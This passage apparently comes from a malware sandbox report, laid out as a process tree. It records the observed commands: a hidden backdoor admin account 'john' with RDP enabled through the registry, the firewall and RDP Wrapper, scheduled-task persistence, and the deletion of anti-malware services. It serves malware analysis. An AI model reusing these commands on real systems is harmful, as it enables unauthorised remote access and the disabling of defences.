                                                                                          3⤵
                                                                                          • Checks computer location settings
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:4552
                                                                                          • C:\programdata\microsoft\intel\P.exe
                                                                                            C:\programdata\microsoft\intel\P.exe
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:1192
                                                                                          • C:\programdata\microsoft\intel\R8.exe
                                                                                            C:\programdata\microsoft\intel\R8.exe
                                                                                            4⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Modifies registry class
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:1020
                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                              "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
                                                                                              5⤵
                                                                                              • Checks computer location settings
                                                                                              PID:1344
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
                                                                                                6⤵
                                                                                                • Checks computer location settings
                                                                                                • Modifies registry class
                                                                                                PID:2324
                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                  taskkill /f /im Rar.exe
                                                                                                  7⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  • Kills process with taskkill
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1152
                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                  taskkill /f /im Rar.exe
                                                                                                  7⤵
                                                                                                  • Kills process with taskkill
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1660
                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                  timeout 3
                                                                                                  7⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  • Delays execution with timeout.exe
                                                                                                  PID:4488
                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                  chcp 1251
                                                                                                  7⤵
                                                                                                    PID:2736
                                                                                                  • C:\rdp\Rar.exe
                                                                                                    "Rar.exe" e -p555 db.rar
                                                                                                    7⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:1948
                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                    taskkill /f /im Rar.exe
                                                                                                    7⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4852
                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                    timeout 2
                                                                                                    7⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Delays execution with timeout.exe
                                                                                                    PID:4892
                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                    "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                                                                                                    7⤵
                                                                                                    • Checks computer location settings
                                                                                                    PID:4356
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                                                                                                      8⤵
                                                                                                        PID:4336
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                                                                                                          9⤵
                                                                                                            PID:3548
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                                                                                                            9⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:4460
                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                            netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                                                                                                            9⤵
                                                                                                            • Modifies Windows Firewall
                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                            PID:4048
                                                                                                          • C:\Windows\SysWOW64\net.exe
                                                                                                            net.exe user "john" "12345" /add
                                                                                                            9⤵
                                                                                                              PID:3476
                                                                                                              • C:\Windows\SysWOW64\net1.exe
                                                                                                                C:\Windows\system32\net1 user "john" "12345" /add
                                                                                                                10⤵
                                                                                                                  PID:4852
                                                                                                              • C:\Windows\SysWOW64\chcp.com
                                                                                                                chcp 1251
                                                                                                                9⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:5092
                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                net localgroup "Администраторы" "John" /add
                                                                                                                9⤵
                                                                                                                  PID:3548
                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                    C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                                                                                                    10⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:1192
                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                  net localgroup "Administratorzy" "John" /add
                                                                                                                  9⤵
                                                                                                                    PID:4008
                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                      C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                                                                                                      10⤵
                                                                                                                        PID:1132
                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                      net localgroup "Administrators" John /add
                                                                                                                      9⤵
                                                                                                                        PID:4460
                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                          C:\Windows\system32\net1 localgroup "Administrators" John /add
                                                                                                                          10⤵
                                                                                                                            PID:212
                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                          net localgroup "Administradores" John /add
                                                                                                                          9⤵
                                                                                                                            PID:1512
                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                              C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                                                                                              10⤵
                                                                                                                                PID:4356
                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                              net localgroup "Пользователи удаленного рабочего стола" John /add
                                                                                                                              9⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:212
                                                                                                                              • C:\Windows\SysWOW64\net1.exe
                                                                                                                                C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                                                                                                                10⤵
                                                                                                                                  PID:4048
                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                net localgroup "Пользователи удаленного управления" John /add
                                                                                                                                9⤵
                                                                                                                                  PID:1740
                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                    C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                                                                                                    10⤵
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:1624
                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                  net localgroup "Remote Desktop Users" John /add
                                                                                                                                  9⤵
                                                                                                                                  • Remote Service Session Hijacking: RDP Hijacking
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:5044
                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                    C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                                                                                                    10⤵
                                                                                                                                    • Remote Service Session Hijacking: RDP Hijacking
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:4460
                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                  net localgroup "Usuarios de escritorio remoto" John /add
                                                                                                                                  9⤵
                                                                                                                                    PID:2840
                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                      C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                                                                                                      10⤵
                                                                                                                                        PID:4892
                                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                                      net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                                                                                                      9⤵
                                                                                                                                        PID:4008
                                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                                          C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                                                                                                          10⤵
                                                                                                                                            PID:4356
                                                                                                                                        • C:\rdp\RDPWInst.exe
                                                                                                                                          "RDPWInst.exe" -i -o
                                                                                                                                          9⤵
                                                                                                                                          • Server Software Component: Terminal Services DLL
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Modifies WinLogon
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:4356
                                                                                                                                          • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                            netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                                                                                            10⤵
                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                            PID:5952
                                                                                                                                        • C:\rdp\RDPWInst.exe
                                                                                                                                          "RDPWInst.exe" -w
                                                                                                                                          9⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:6004
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                                                                                                          9⤵
                                                                                                                                          • Hide Artifacts: Hidden Users
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:6132
                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                          net accounts /maxpwage:unlimited
                                                                                                                                          9⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:5252
                                                                                                                                          • C:\Windows\SysWOW64\net1.exe
                                                                                                                                            C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                                                                                                            10⤵
                                                                                                                                              PID:5044
                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                            attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                                                                                                            9⤵
                                                                                                                                            • Sets file to hidden
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            • Views/modifies file attributes
                                                                                                                                            PID:212
                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                            attrib +s +h "C:\Program Files\RDP Wrapper"
                                                                                                                                            9⤵
                                                                                                                                            • Sets file to hidden
                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            • Views/modifies file attributes
                                                                                                                                            PID:5280
                                                                                                                                          • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                            attrib +s +h "C:\rdp"
                                                                                                                                            9⤵
                                                                                                                                            • Sets file to hidden
                                                                                                                                            • Views/modifies file attributes
                                                                                                                                            PID:1624
                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                        timeout 2
                                                                                                                                        7⤵
                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                        PID:1292
                                                                                                                                • C:\ProgramData\Microsoft\Intel\winlog.exe
                                                                                                                                  C:\ProgramData\Microsoft\Intel\winlog.exe -p123
                                                                                                                                  4⤵
                                                                                                                                  • Checks computer location settings
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                  PID:1840
                                                                                                                                  • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                                                                                                    "C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                                                                                                    5⤵
                                                                                                                                    • Checks computer location settings
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:1264
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\11C4.tmp\11C5.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                                                                                                      6⤵
                                                                                                                                        PID:1776
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          PowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"
                                                                                                                                          7⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:3476
                                                                                                                                  • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                    C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                    4⤵
                                                                                                                                    • Modifies visiblity of hidden/system files in Explorer
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Adds Run key to start application
                                                                                                                                    • NTFS ADS
                                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:1732
                                                                                                                                    • C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                      C:\Programdata\WindowsTask\winlogon.exe
                                                                                                                                      5⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                      PID:5508
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                                                                                                        6⤵
                                                                                                                                          PID:5568
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /query /fo list
                                                                                                                                            7⤵
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:5672
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                                                                                                        5⤵
                                                                                                                                          PID:6076
                                                                                                                                          • C:\Windows\system32\ipconfig.exe
                                                                                                                                            ipconfig /flushdns
                                                                                                                                            6⤵
                                                                                                                                            • Gathers network information
                                                                                                                                            PID:6140
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c gpupdate /force
                                                                                                                                          5⤵
                                                                                                                                            PID:5268
                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                              gpupdate /force
                                                                                                                                              6⤵
                                                                                                                                                PID:4488
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                                                                                                            4⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:2840
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                                                                                                            4⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:5264
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                                                                                                            4⤵
                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:5728
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat
                                                                                                                                            4⤵
                                                                                                                                              PID:5876
                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                TIMEOUT /T 5 /NOBREAK
                                                                                                                                                5⤵
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:5932
                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                TIMEOUT /T 3 /NOBREAK
                                                                                                                                                5⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:1408
                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                TASKKILL /IM 1.exe /T /F
                                                                                                                                                5⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:5664
                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                TASKKILL /IM P.exe /T /F
                                                                                                                                                5⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:5576
                                                                                                                                              • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                ATTRIB +H +S C:\Programdata\Windows
                                                                                                                                                5⤵
                                                                                                                                                • Views/modifies file attributes
                                                                                                                                                PID:5700
                                                                                                                                        • C:\programdata\install\ink.exe
                                                                                                                                          C:\programdata\install\ink.exe
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                          PID:2840
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c sc start appidsvc
                                                                                                                                          2⤵
                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                          PID:4784
                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                            sc start appidsvc
                                                                                                                                            3⤵
                                                                                                                                            • Launches sc.exe
                                                                                                                                            PID:212
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c sc start appmgmt
                                                                                                                                          2⤵
                                                                                                                                            PID:3488
                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                              sc start appmgmt
                                                                                                                                              3⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:3192
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                                                                                                                            2⤵
                                                                                                                                              PID:3908
                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                sc config appidsvc start= auto
                                                                                                                                                3⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:4336
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                                                                                                              2⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:2444
                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                sc config appmgmt start= auto
                                                                                                                                                3⤵
                                                                                                                                                • Launches sc.exe
                                                                                                                                                PID:3556
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c sc delete swprv
                                                                                                                                              2⤵
                                                                                                                                                PID:3476
                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                  sc delete swprv
                                                                                                                                                  3⤵
                                                                                                                                                  • Launches sc.exe
                                                                                                                                                  PID:2644
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                                                                                                                2⤵
                                                                                                                                                  PID:4460
                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                    sc stop mbamservice
                                                                                                                                                    3⤵
                                                                                                                                                    • Launches sc.exe
                                                                                                                                                    PID:5068
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                                                                                                                  2⤵
                                                                                                                                                    PID:924
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      sc stop bytefenceservice
                                                                                                                                                      3⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:4340
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1776
                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                        sc delete bytefenceservice
                                                                                                                                                        3⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:3868
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1892
                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3476
                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                            sc delete mbamservice
                                                                                                                                                            3⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:4548
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                                                                                                                          2⤵
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:4192
                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                            sc delete crmsvc
                                                                                                                                                            3⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:4952
                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c sc delete "windows node"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1084
                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                              sc delete "windows node"
                                                                                                                                                              3⤵
                                                                                                                                                              • Launches sc.exe
                                                                                                                                                              PID:512
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5068
                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                sc stop Adobeflashplayer
                                                                                                                                                                3⤵
                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                PID:3588
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
                                                                                                                                                              2⤵
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              PID:1460
                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                sc delete AdobeFlashPlayer
                                                                                                                                                                3⤵
                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                PID:4268
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c sc stop MoonTitle
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1900
                                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                  sc stop MoonTitle
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                  PID:4336
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3704
                                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                    sc delete MoonTitle"
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                    PID:3476
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c sc stop AudioServer
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1300
                                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                      sc stop AudioServer
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                      PID:4032
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c sc delete AudioServer"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:4500
                                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                        sc delete AudioServer"
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                        PID:224
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3096
                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                          sc stop clr_optimization_v4.0.30318_64
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                          PID:1016
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3520
                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                            sc delete clr_optimization_v4.0.30318_64"
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                            PID:2652
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c sc stop MicrosoftMysql
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:4212
                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                              sc stop MicrosoftMysql
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Launches sc.exe
                                                                                                                                                                              PID:4980
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c sc delete MicrosoftMysql
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1664
                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                sc delete MicrosoftMysql
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                PID:1356
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4536
                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                  netsh advfirewall set allprofiles state on
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                  PID:1864
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                                                                                                                2⤵
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:2172
                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                  netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
                                                                                                                                                                                  3⤵
                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                  PID:3548
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:512
                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                    netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                    PID:212
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1084
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                      PID:2060
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                    PID:1448
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
